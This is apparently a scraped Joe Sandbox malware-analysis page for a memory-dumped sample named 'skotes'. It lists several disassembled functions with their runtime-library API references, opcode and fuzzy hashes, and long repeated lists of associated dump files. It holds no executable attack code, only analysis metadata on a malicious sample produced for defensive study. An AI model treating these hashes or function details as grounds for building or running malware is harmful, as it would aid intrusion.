Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: d8fc089cd0a19a7f362b7c0bacb48685371318bad134d2b5d92043248b0a50cd
Instruction ID: f5e4119435a4f49a95bed05ad573327ccbc0684189a3086075a7aa380d5cc93c
Opcode Fuzzy Hash: d8fc089cd0a19a7f362b7c0bacb48685371318bad134d2b5d92043248b0a50cd
Instruction Fuzzy Hash: D541F474B00210ABCF19AB25C8A6FBEBB75AF45714F04409FE5069B3C2CB78AD45C799

Function 004D56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 004D56F2
_InternalDeleteHelper.LIBCONCRT ref: 004D5726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 004D578B
SafeRWList.LIBCONCRT ref: 004D579A

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 5a3bf22aa2ec2bc4410b90f0bdb8a724c54b2add257ff4bec59393c02c9f60ba
Instruction ID: 309dd0f7fab1299e8c38321efbc13f7f8d562ae04c79317a81d016186879b110
Opcode Fuzzy Hash: 5a3bf22aa2ec2bc4410b90f0bdb8a724c54b2add257ff4bec59393c02c9f60ba
Instruction Fuzzy Hash: 28311236B006118FDB059B20C881EAE77A6EF89714F1841BBE9099B395DF34AD058B94

Function 004D2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 004D2D0F

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 7470bfabea4ac2614cbac262e1c00bb83576ce7862e02aadfc3ca4463ab31f1d
Instruction ID: 18d70f69b4a352ef03f6baa43a29295fe1b589c5302d0fc0b3246e73f66989f0
Opcode Fuzzy Hash: 7470bfabea4ac2614cbac262e1c00bb83576ce7862e02aadfc3ca4463ab31f1d
Instruction Fuzzy Hash: 9A316B75A00309DFCF10DF94C6E0BAE7BBABB54314F1400ABD901AB346D774A905DBA5

Function 004E13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 004E13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 004E1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 004E147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 004E152A

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: e309dcfb688f1baeb7f585ad47a996c996ae962e6e96d388303dbd2d92996c88
Instruction ID: 6ff80324b4cc4d77d22493022c57c1bebc8f1de1dc2b09dacaca95c18f61e6c0
Opcode Fuzzy Hash: e309dcfb688f1baeb7f585ad47a996c996ae962e6e96d388303dbd2d92996c88
Instruction Fuzzy Hash: BE31A0B5E406059BCB04DFAAC4919EDFBB1BF48315B14822FE416A7391CB38AD01CB98

Function 004CBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 004CBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 004CBBE4
_xtime_get.LIBCPMT ref: 004CBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 004CBC13

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: dbf24f1b02c74065d3b0f65be1d84c6f459ec3887c6e9d62e00099f68a2b1fac
Instruction ID: ddce9aae9a9ad805a1a51d2a5b2b223544a44cc7f7aa1e2746412328fc8fac43
Opcode Fuzzy Hash: dbf24f1b02c74065d3b0f65be1d84c6f459ec3887c6e9d62e00099f68a2b1fac
Instruction Fuzzy Hash: 4E214F79A00109AFDF40EFA5CD82EBEB7B9EF08714F10005EF505A7291DB389D019BA5

Function 004D9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 004D9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 004D9CE8
std::bad_exception::bad_exception.LIBCMT ref: 004D9CFE
std::bad_exception::bad_exception.LIBCMT ref: 004D9D6A

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 75e91100ff584aa10edaee29d1da8f4635b966cadd888d63d1794e89687b5ab4
Instruction ID: d1bd98ee40d3ae386134a4736e34294fd3ca9818222d89cf9cf78bb0b310f4ae
Opcode Fuzzy Hash: 75e91100ff584aa10edaee29d1da8f4635b966cadd888d63d1794e89687b5ab4
Instruction Fuzzy Hash: C421B6759006049FDB05EF65D496DAEB7B1BF05314B20406FF102EB3A1EB796D01CB59

Function 004DA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 004DA069

Part of subcall function 004DB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 004DB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 004DA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 004DA0CB

Part of subcall function 004DAB41: List.LIBCONCRT ref: 004DAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 004DA0DB

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
